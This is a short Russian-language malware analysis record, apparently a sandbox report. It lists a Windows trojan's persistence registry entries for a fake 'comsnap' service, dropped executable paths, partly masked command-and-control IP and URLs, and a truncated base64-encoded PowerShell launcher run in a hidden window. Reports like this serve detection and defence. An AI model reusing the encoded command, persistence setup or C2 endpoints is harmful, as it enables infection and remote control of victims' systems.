Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\comsnap] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\comsnap] 'ImagePath' = '"%WINDIR%\SysWOW64\NlsData001d\comsnap.exe"'
- 'comsnap' "%WINDIR%\SysWOW64\NlsData001d\comsnap.exe"
- 'comsnap' %WINDIR%\SysWOW64\NlsData001d\comsnap.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABCAG8AbQA5AHkAOABuAD0AKAAoACcATQAnACsAJwByAHoAJwApACsAKAAnAHgAbgAnACsAJwBpAGwAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAtAGkAdABlACcAKwAnAG0AJwApACAAJABlAG4AVgA6AHUAUwBlAFIAcABSAG8ARgBJAGwARQ...
- %HOMEPATH%\men8tb1\gjumi2g\k3_7xp.exe
- %WINDIR%\syswow64\nlsdata001d\comsnap.exe
- %HOMEPATH%\men8tb1\gjumi2g\k3_7xp.exe в %WINDIR%\syswow64\nlsdata001d\comsnap.exe
- '19#.#92.39.136':80
- http://aw#####-infra-dmain.xyz/wp-admin/MK1aBoyLe/
- http://19#.#92.39.136/rDb53tN8Wj3/uwS4nMASVIWpuXJ4tRk/4ZD9A763GPm/ZzB9DfD7WrMWNd/
- DNS ASK aw#####-infra-dmain.xyz
- '%HOMEPATH%\men8tb1\gjumi2g\k3_7xp.exe'
- '%WINDIR%\syswow64\nlsdata001d\comsnap.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABCAG8AbQA5AHkAOABuAD0AKAAoACcATQAnACsAJwByAHoAJwApACsAKAAnAHgAbgAnACsAJwBpAGwAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAtAGkAdABlACcAKwAnAG0AJwApACAAJABlAG4AVgA6AHUAUwBlAFIAcABSAG8ARgBJAGwARQ...' (со скрытым окном)